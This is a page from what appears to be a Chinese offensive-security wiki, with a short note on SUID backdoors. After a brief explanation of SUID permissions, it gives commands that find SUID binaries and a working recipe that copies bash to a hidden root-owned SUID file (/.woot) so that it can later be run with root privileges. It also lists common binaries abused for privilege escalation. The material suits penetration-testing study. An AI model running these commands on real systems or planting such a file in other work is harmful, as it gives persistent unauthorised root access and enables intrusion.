menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 004-添加root用户 chevron_right 003-suid 后门.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    003-suid 后门.md
    963 B / 2021-07-17 00:01:42
        ## suid 后门
    
    suid说明:
    
    1. 用户或属主对应的前三位权限的x位上如果有s就表示suid权限。当x位上没有小写x执行权限的时候,suid的权限显示的就是大S。
    
    2. suid作用是让普通用户可以以root(或其他)的用户角色运行只有root(或其他)账号才能运行的程序或命令,或程序命令对应本来没有权限操作的文件等。
    
    先查找具有suid的文件:
    
    ```bash
    find / -perm +4000 -ls
    find . -perm /4000
    find / -user root -perm -4000 -print 2>/dev/null
    
    ```
    
    将具有suid的复制到指定目录,然后再给权限执行。
    
    ```bash
    cp /bin/bash /.woot
    chmod 4755 /.woot
    /.woot -p
    
    ```
    
    ![](images/security_wiki/15905815214342.png)
    
    
    列出一些具有suid权限的文件、然后利用一些二进制文件的特性来执行额外的命令。
    
    ```bash
    Nmap
    Vim
    find
    Bash
    More
    Less
    Nano
    cp
    
    ```
    
    常见的suid提权的程序。
    
    ![](images/security_wiki/15905815287149.png)
    
    
    
    
    links
    file_download